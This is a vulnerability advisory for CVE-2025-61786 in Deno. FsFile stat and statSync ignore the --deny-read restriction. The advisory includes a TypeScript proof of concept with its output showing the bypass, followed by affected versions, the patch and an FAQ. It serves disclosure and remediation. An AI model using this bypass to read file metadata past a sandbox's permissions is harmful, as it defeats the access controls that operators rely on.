CVE-2025-61786: Deno's --deny-read check does not prevent permission bypass
Summary
Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.
It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)
Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.
PoC
Setup: deno --version deno 2.4.2 (stable, release, x8664-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3
touch test1.txt
- pocfile.stat.ts ts // touch test1.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat // deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 1 // deno run --allow-write=./ pocfile.stat.ts 1 async function poc1(){ using file = await Deno.open("./test1.txt", { read: false, write: true}); const fileInfo = await file.stat(); console.log(fileInfo.isFile); }
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync // deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 2 // deno run --allow-write=./ pocfile.stat.ts 2 function poc2(){ using file = Deno.openSync("./test1.txt", { read: false, write: true}); const fileInfo = file.statSync(); console.log(fileInfo.isFile); }
// https://docs.deno.com/api/deno/~/Deno.stat // deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 3 // deno run --allow-write=./ pocfile.stat.ts 3 async function poc3(){ // not executed const fileInfo = await Deno.stat("./test1.txt"); console.log(fileInfo.isFile); }
// https://docs.deno.com/api/deno/~/Deno.statSync // deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 4 // deno run --allow-write=./ pocfile.stat.ts 4 function poc4(){ // not executed const fileInfo = Deno.statSync("./test1.txt"); console.log(fileInfo.isFile); }
async function main(){ const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "read", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } }
main()
Output: - deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 1 PermissionStatus { state: "denied", onchange: null } true
- deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 2 PermissionStatus { state: "denied", onchange: null } true
- deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 3 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = await Deno.stat("./test1.txt"); ^ ...
- deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 4 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = Deno.statSync("./test1.txt"); ^ ...
Impact
Permission model bypass
Other sources
Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./). Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.
— MITRE
Affected Software
Remediation
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2025-61786?
CVE-2025-61786 has been classified with a moderate severity due to its potential for unauthorized file access.
How do I fix CVE-2025-61786?
To fix CVE-2025-61786, upgrade Deno to version 2.5.3 or later, or version 2.2.15 or later.
What versions of Deno are affected by CVE-2025-61786?
Versions of Deno prior to 2.5.3 and 2.2.15 are affected by CVE-2025-61786.
What functionality is impacted by CVE-2025-61786?
CVE-2025-61786 impacts the file permission checks of `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync`, allowing unauthorized file stat retrieval.
Is CVE-2025-61786 specific to certain environments?
CVE-2025-61786 is specific to the Deno runtime and affects how file statistics are accessed based on permission settings.